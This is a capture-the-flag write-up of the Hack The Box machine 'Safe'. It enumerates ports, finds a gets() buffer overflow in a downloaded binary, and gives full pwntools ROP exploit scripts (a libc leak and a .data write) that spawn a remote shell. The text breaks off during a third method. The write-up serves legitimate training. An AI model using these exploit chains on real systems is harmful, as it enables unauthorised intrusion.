Safe

From Luniwiki
Jump to: navigation, search

Back

Safe01.png

Ports scan

u505@kali:~/HTB/Machines/Safe$ sudo masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 --rate=1000
[sudo] password for u505:

Starting masscan 1.0.5 at 2020-02-26 02:27:00 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.147 Discovered open port 22/tcp on 10.10.10.147 Discovered open port 1337/tcp on 10.10.10.147
u505@kali:~/HTB/Machines/Safe$ nmap -sC -sV 10.10.10.147
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 21:27 EST
Nmap scan report for safe.htb (10.10.10.147)
Host is up (0.038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds

Additional scan on port 1337 found by masscan.

u505@kali:~/HTB/Machines/Safe$ nmap -sC -sV -p 1337 10.10.10.147
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 21:29 EST
Nmap scan report for safe.htb (10.10.10.147)
Host is up (0.043s latency).

PORT STATE SERVICE VERSION 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP: | 21:30:38 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | DNSVersionBindReqTCP: | 21:30:33 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | GenericLines: | 21:30:22 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? | GetRequest: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 21:30:43 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? HELP | NULL: | 21:30:22 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | RPCCheck: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | RTSPRequest: | 21:30:28 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 | What do you want me to echo back? OPTIONS / RTSP/1.0 | SSLSessionReq, TLSSessionReq, TerminalServerCookie: | 21:30:43 up 5 min, 0 users, load average: 0.00, 0.00, 0.00 |_ What do you want me to echo back? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.80%I=7%D=2/25%Time=5E55D804%P=x86_64-pc-linux-gnu%r(NU SF:LL,3E,"\x2021:30:22\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x SF:20average:\x200\.00,\x200\.00,\x200\.00\n")%r(GenericLines,63,"\x2021:3 SF:0:22\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200 SF:\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2021:30:28\x20up\x205\x20min, SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.0 SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20 SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2021:30:28\x20up\x205\x20min,\ SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00 SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\ SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2021:30:28\x20up\x205\x20mi SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\ SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2021:30:28\x20up\x205\x20mi SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\ SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2021:30:33\x20up\x205\x20min,\x20\ SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n") SF:%r(DNSStatusRequestTCP,3E,"\x2021:30:38\x20up\x205\x20min,\x20\x200\x20 SF:users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n")%r(Help, SF:67,"\x2021:30:43\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20a SF:verage:\x200\.00,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2021:30:43 SF:\x20up\x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00 SF:,\x200\.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2021:30:43\x20up\ SF:x205\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\ SF:.00,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\ SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2021:30:43\x20up\x205\x20min,\x20\x SF:200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.00,\x200\.00\n\nW SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 89.65 seconds

Port 80

Safe02.png

u505@kali:~/HTB/Machines/Safe$ curl -s http://safe.htb | head -n 10
<br>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
   <head>
     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
     <title>Apache2 Debian Default Page: It works</title>
     <style type="text/css" media="screen">
   * {
 (23) Failed writing body

The web servers seems to be the default apache webpage, with the exception of the comment about port 1337 and myapp.

Enumeration

u505@kali:~/HTB/Machines/Safe$ python3 /opt/utils/dirsearch/dirsearch.py /usr/share/wordlists/dirb/common2.txt -e "txt" -f -t 50 -u http://safe.htb

_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: txt | HTTP method: get | Threads: 50 | Wordlist size: 10313
Error Log: /opt/utils/dirsearch/logs/errors-20-02-25_21-41-46.log
Target: http://safe.htb
[21:41:46] Starting: [21:41:47] 403 - 295B - /.ht_wsr.txt/ [21:41:48] 403 - 298B - /.ht_wsr.txt.txt [21:41:48] 403 - 291B - /.hta.txt [21:41:48] 403 - 288B - /.hta/ [21:41:48] 403 - 296B - /.htaccess.txt [21:41:48] 403 - 300B - /.htaccess-dev.txt [21:41:48] 403 - 302B - /.htaccess-local.txt [21:41:48] 403 - 297B - /.htaccess-dev/ [21:41:48] 403 - 299B - /.htaccess-local/ [21:41:48] 403 - 302B - /.htaccess-marco.txt [21:41:48] 403 - 299B - /.htaccess-marco/ [21:41:48] 403 - 300B - /.htaccess.BAK.txt [21:41:48] 403 - 297B - /.htaccess.BAK/ [21:41:48] 403 - 300B - /.htaccess.bak.txt [21:41:48] 403 - 297B - /.htaccess.bak/ [21:41:48] 403 - 298B - /.htaccess.bak1/ [21:41:48] 403 - 301B - /.htaccess.bak1.txt [21:41:48] 403 - 300B - /.htaccess.inc.txt [21:41:48] 403 - 297B - /.htaccess.inc/ [21:41:48] 403 - 297B - /.htaccess.old/ [21:41:48] 403 - 300B - /.htaccess.old.txt [21:41:48] 403 - 298B - /.htaccess.orig/ [21:41:48] 403 - 301B - /.htaccess.orig.txt [21:41:48] 403 - 303B - /.htaccess.sample.txt [21:41:48] 403 - 300B - /.htaccess.sample/ [21:41:48] 403 - 301B - /.htaccess.save.txt [21:41:48] 403 - 298B - /.htaccess.save/ [21:41:48] 403 - 297B - /.htaccess.txt/ [21:41:48] 403 - 300B - /.htaccess.txt.txt [21:41:48] 403 - 302B - /.htaccess_extra.txt [21:41:48] 403 - 298B - /.htaccess_orig/ [21:41:48] 403 - 299B - /.htaccess_extra/ [21:41:48] 403 - 301B - /.htaccess_orig.txt [21:41:48] 403 - 296B - /.htaccess_sc/ [21:41:48] 403 - 299B - /.htaccess_sc.txt [21:41:48] 403 - 296B - /.htaccessBAK/ [21:41:48] 403 - 299B - /.htaccessOLD.txt [21:41:48] 403 - 296B - /.htaccessOLD/ [21:41:48] 403 - 299B - /.htaccessBAK.txt [21:41:48] 403 - 300B - /.htaccessOLD2.txt [21:41:48] 403 - 297B - /.htaccessOLD2/ [21:41:48] 403 - 294B - /.htaccess~/ [21:41:48] 403 - 295B - /.htgroup.txt [21:41:48] 403 - 297B - /.htaccess~.txt [21:41:48] 403 - 292B - /.htgroup/ [21:41:48] 403 - 296B - /.htpasswd.txt [21:41:48] 403 - 300B - /.htpasswd-old.txt [21:41:48] 403 - 297B - /.htpasswd.bak/ [21:41:48] 403 - 297B - /.htpasswd-old/ [21:41:48] 403 - 300B - /.htpasswd.bak.txt [21:41:48] 403 - 297B - /.htpasswd.inc/ [21:41:48] 403 - 300B - /.htpasswd.inc.txt [21:41:48] 403 - 301B - /.htpasswd_test.txt [21:41:48] 403 - 298B - /.htpasswd_test/ [21:41:48] 403 - 294B - /.htpasswds/ [21:41:48] 403 - 297B - /.htpasswds.txt [21:41:48] 403 - 297B - /.htpasswrd.txt [21:41:48] 403 - 294B - /.htpasswrd/ [21:41:48] 403 - 295B - /.htusers.txt [21:41:48] 403 - 292B - /.htusers/ [21:42:04] 403 - 289B - /icons/ [21:42:06] 200 - 626B - /manual/ [21:42:10] 403 - 297B - /server-status/
Task Completed

The enumeration doesn't gave us any clue.

Myapp

u505@kali:~/HTB/Machines/Safe$ wget -q http://safe.htb/myapp

We download the app myapp. The application is a simple application, that runs an uptime and returns the input text.

u505@kali:~/HTB/Machines/Safe$ ./myapp
 21:47:11 up 28 min,  2 users,  load average: 0.00, 0.05, 0.07

What do you want me to echo back? Hello Hello

Port 1337

Safe03.png

u505@kali:~/HTB/Machines/Safe$ nc safe.htb 1337
 21:54:25 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
Hello World

What do you want me to echo back? Hello World
Ncat: Broken pipe.

The behavior of the network app, is the same as myapp.

Myapp analysis

Safe04.png

At a first glance, this application is prone to create a buffer overflow, because the function gets reads the input and assign it into a variable of 112 bytes without any control, and the application write the content of the variable with the function puts.

Application type

u505@kali:~/HTB/Machines/Safe$ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, 
BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

Offset determination

u505@kali:~/HTB/Machines/Safe$ gdb myapp
GNU gdb (Debian 8.3.1-1) 8.3.1
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from myapp... (No debugging symbols found in myapp) (gdb) init-peda gdb-peda$ set follow-fork-mode parent gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA' gdb-peda$ r Starting program: /opt/HTB/Machines/Safe/myapp [Detaching after vfork from child process 2685] 22:02:35 up 43 min, 2 users, load average: 0.03, 0.05, 0.04
What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n") RDI: 0x0 RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") RIP: 0x4011ac (<main+77>: ret) R8 : 0x97 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0008| 0x7fffffffe470 ("AkAAPAAlAAQAAmAARAAoAA") 0016| 0x7fffffffe478 ("AAQAAmAARAAoAA") 0024| 0x7fffffffe480 --> 0x41416f414152 ('RAAoAA') 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x12a755286aedb318 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main () gdb-peda$ pattern offset jAA9AAOAAkAAPAAlAAQAAmAARAAoAA jAA9AAOAAkAAPAAlAAQAAmAARAAoAA found at offset: 120

Checksec

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

The program is compiled with NX flag enabled, meaning the program doesn't allow executable code from the stack.

ldd myapp

u505@kali:~/HTB/Machines/Safe$ ldd myapp
       linux-vdso.so.1 (0x00007ffdd0961000)
       libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5b3d110000)
       /lib64/ld-linux-x86-64.so.2 (0x00007f5b3d2f1000)

Method 1: 2 stages

The strategy is to leak the base glib address and after call the function system with the string /bin/sh to gain a shell.

https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf

Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack.

main address

gdb-peda$ pdisass main
Dump of assembler code for function main:
  0x000000000040115f <+0>:     push   rbp
  0x0000000000401160 <+1>:     mov    rbp,rsp
  0x0000000000401163 <+4>:     sub    rsp,0x70
  0x0000000000401167 <+8>:     lea    rdi,[rip+0xe9a]        # 0x402008
  0x000000000040116e <+15>:    call   0x401040 <system@plt>
  0x0000000000401173 <+20>:    lea    rdi,[rip+0xe9e]        # 0x402018
  0x000000000040117a <+27>:    mov    eax,0x0
  0x000000000040117f <+32>:    call   0x401050 <printf@plt>
  0x0000000000401184 <+37>:    lea    rax,[rbp-0x70]
  0x0000000000401188 <+41>:    mov    esi,0x3e8
  0x000000000040118d <+46>:    mov    rdi,rax
  0x0000000000401190 <+49>:    mov    eax,0x0
  0x0000000000401195 <+54>:    call   0x401060 <gets@plt>
  0x000000000040119a <+59>:    lea    rax,[rbp-0x70]
  0x000000000040119e <+63>:    mov    rdi,rax
  0x00000000004011a1 <+66>:    call   0x401030 <puts@plt>
  0x00000000004011a6 <+71>:    mov    eax,0x0
  0x00000000004011ab <+76>:    leave
=>0x00000000004011ac <+77>:    ret
End of assembler dump.

plt addresses

db-peda$ elfsymbol
Found 4 symbols
puts@plt = 0x401030
system@plt = 0x401040
printf@plt = 0x401050
gets@plt = 0x401060

got.plt addresses

gdb-peda$ x/i 0x401030
  0x401030 <puts@plt>:
   jmp    QWORD PTR [rip+0x2fe2]        # 0x404018 <puts@got.plt>
gdb-peda$ x/i 0x401040
  0x401040 <system@plt>:
   jmp    QWORD PTR [rip+0x2fda]        # 0x404020 <system@got.plt>
gdb-peda$ x/i 0x401050
  0x401050 <printf@plt>:
   jmp    QWORD PTR [rip+0x2fd2]        # 0x404028 <printf@got.plt>
gdb-peda$ x/i 0x401060
  0x401060 <gets@plt>:
   jmp    QWORD PTR [rip+0x2fca]        # 0x404030 <gets@got.plt>

Gadget to pop rdi

The argument of system is taken from the register RDI. We need a gadget to pop the value from the stack to the register rdi.

u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119b: lea eax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119a: lea rax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x0000000000401087: mov ecx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401086: mov rcx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040108d: mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119e: mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x00000000004010c6: or dword ptr [rdi + 0x404048], edi; jmp rax;
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;
0x000000000040119c: xchg eax, r8d; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119d: nop; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;

Leak of puts address

u505@kali:~/HTB/Machines/Safe$ cat exploit.py
#!/usr/bin/python
from pwn import *
#context(log_level='DEBUG')
p = remote ("10.10.10.147",1337)
#raw_input(str(p.proc.pid))
systemplt=0x401040
putsgot=0x404018
poprdi=0x000000000040120b
junk = 120*'A'

payload = junk + p64(poprdi) + p64(putsgot) + p64(systemplt) + p64(0xdeadc0de) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)

If we run the exploit it returns the address of puts

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  22:55:16 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7f05ef9f0f90
[*] Closed connection to 10.10.10.147 port 1337
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  22:55:18 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7f745a627f90
[*] Closed connection to 10.10.10.147 port 1337
u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  22:55:20 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7f74c11a1f90
[*] Closed connection to 10.10.10.147 port 1337

The address is different at each execution, so the ASLR is enabled on the target. But the 3 lasts bytes are the same all the time.

Other address Leaks

u505@kali:~/HTB/Machines/Safe$ cat exploit.py
#!/usr/bin/python
from pwn import *
#context(log_level='DEBUG')
p = remote ("10.10.10.147",1337)
#raw_input(str(p.proc.pid))
systemplt=0x401040
putsgot=0x404018
systemgot=0x404020
printfgot=0x404028
getsgot=0x404030
poprdi=0x000000000040120b
junk = 120*'A'

payload = junk + p64(poprdi) + p64(systemgot) + p64(systemplt) + p64(0xdeadc0de) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)

For system, the last 3 bytes are 480

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  23:00:22 up  1:35,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7f1b7f421480
[*] Closed connection to 10.10.10.147 port 1337

For printf, the last 3 bytes are 190

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  23:05:44 up  1:40,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7fdfcac88190
[*] Closed connection to 10.10.10.147 port 1337

And least, for gets the last 3 bytes are 953

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  23:06:37 up  1:41,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7861746e7953
[*] Closed connection to 10.10.10.147 port 1337

libc database

With these leaks, and the glibc database, we can determine the glibc compilation of the target and determine the offset of the /bin/sh string.

Safe05.png

Now we know, that the offset of the string /bin/sh is 0xf8c89 after puts leak.

Final exploit

The first stage is to leak the address of puts with call to system, the return function will be main. In the second stage we call system and provide /bin/sh address to RDI register.

u505@kali:~/HTB/Machines/Safe$ cat exploit.py
#!/usr/bin/python
from pwn import *

#context(log_level='DEBUG')
p = remote ("10.10.10.147",1337)
systemplt=0x401040 putsgot=0x404018 poprdi=0x000000000040120b mainaddr=0x000000000040115f junk = 120*'A'
payload = junk + p64(poprdi) + p64(putsgot) + p64(systemplt) + p64(mainaddr) +"\n" data1 = p.recvline() log.info("data1 %s" % data1) p.send(payload) data2 = p.recvline() leakaddr=u64(data2[7:13].ljust(8,"\x00")) log.info("Leak 0x%x" % leakaddr)
binsh=leakaddr+0xf8c89
log.info("binsh addr 0x%x" % binsh)
payload = junk + p64(poprdi) + p64(binsh) + p64(systemplt) + "\n" p.send(payload) p.interactive()

At the execution, we gain a shell.

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  23:26:48 up  2:01,  0 users,  load average: 0.00, 0.00, 0.00
[*] Leak 0x7fbd7df41f90
[*] binsh addr 0x7fbd7e03ac19
[*] Switching to interactive mode
 23:26:48 up  2:01,  0 users,  load average: 0.00, 0.00, 0.00
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive

Method 2: write in memory

The memory mapping

gdb-peda$ vmmap
Warning: not running
Start              End                Perm      Name
0x00401000         0x0040121d         rx-p      /opt/HTB/Machines/Safe/myapp
0x004002a8         0x004021a0         r--p      /opt/HTB/Machines/Safe/myapp
0x00403e10         0x00404050         rw-p      /opt/HTB/Machines/Safe/myapp

The range 0x00403e10 0x00404050 is writable.

Safe06.png

The range 0x00404038 - 0x00404047 is the .data segment

gdb-peda$ distance 0x00404038 0x00404047
From 0x404038 to 0x404047: 15 bytes, 3 dwords (+3 bytes)

That means that we can use this memory segment to write 15 bytes. The strategy is to write the string "/bin/sh\n" (8 bytes) at this address and call system

Addresses

The address of .data segment memory is 0x404038

gdb-peda$ elfsymbol
Found 4 symbols
puts@plt = 0x401030
system@plt = 0x401040
printf@plt = 0x401050
gets@plt = 0x401060

And from the method 1 we have the address of the gadget pop rdi

u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119b: lea eax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119a: lea rax, [rbp - 0x70]; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x0000000000401087: mov ecx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401086: mov rcx, 0x4011b0; mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040108d: mov rdi, 0x40115f; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040119e: mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x00000000004010c6: or dword ptr [rdi + 0x404048], edi; jmp rax;
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;
0x000000000040119c: xchg eax, r8d; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119d: nop; mov rdi, rax; call 0x1030; mov eax, 0; leave; ret;

Exploit implementation

After 120 of junk bytes, we pop the data address on the RDI register call gets to read our "/bin/sh" string from stdin, we pop data address in RDI again and call system

u505@kali:~/HTB/Machines/Safe$ cat exploit.py
#!/usr/bin/python
from pwn import *

#context(log_level='DEBUG') p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid)) systemplt=0x401040 getsplt=0x401060 poprdi=0x000000000040120b dataaddr=0x00404038 junk = 120*'A'
payload = junk + p64(poprdi) + p64(dataaddr) + p64(getsplt) + p64(poprdi) + p64(dataaddr) + p64(systemplt) + "\n" data1 = p.recvline() log.info("data1 %s" % data1) log.info("Send payload") p.send(payload) log.info("Send bin sh string") p.send("/bin/sh\n")
p.interactive()

We obtain shell if we execute it.

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  00:21:58 up  2:56,  0 users,  load average: 0.00, 0.00, 0.00
[*] Send payload
[*] Send bin sh string
[*] Switching to interactive mode
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive

Method 3: Test function

This seems the intended method to solve the machine. There is a function test. This function is never called by the program.

gdb-peda$ pdisass test
Dump of assembler code for function test:
   0x0000000000401152 <+0>:     push   rbp
   0x0000000000401153 <+1>:     mov    rbp,rsp
   0x0000000000401156 <+4>:     mov    rdi,rsp
   0x0000000000401159 <+7>:     jmp    r13
   0x000000000040115c <+10>:    nop
   0x000000000040115d <+11>:    pop    rbp
   0x000000000040115e <+12>:    ret
End of assembler dump.

The function test push register RBP to the stack, and the value of the stack is sent to register RDI and a call is done to the address in R13

Value of RBP at the segmentation fault

gdb-peda$ r
Starting program: /opt/HTB/Machines/Safe/myapp
[Detaching after vfork from child process 7122]
 09:34:47 up 12:15,  6 users,  load average: 0.00, 0.03, 0.00

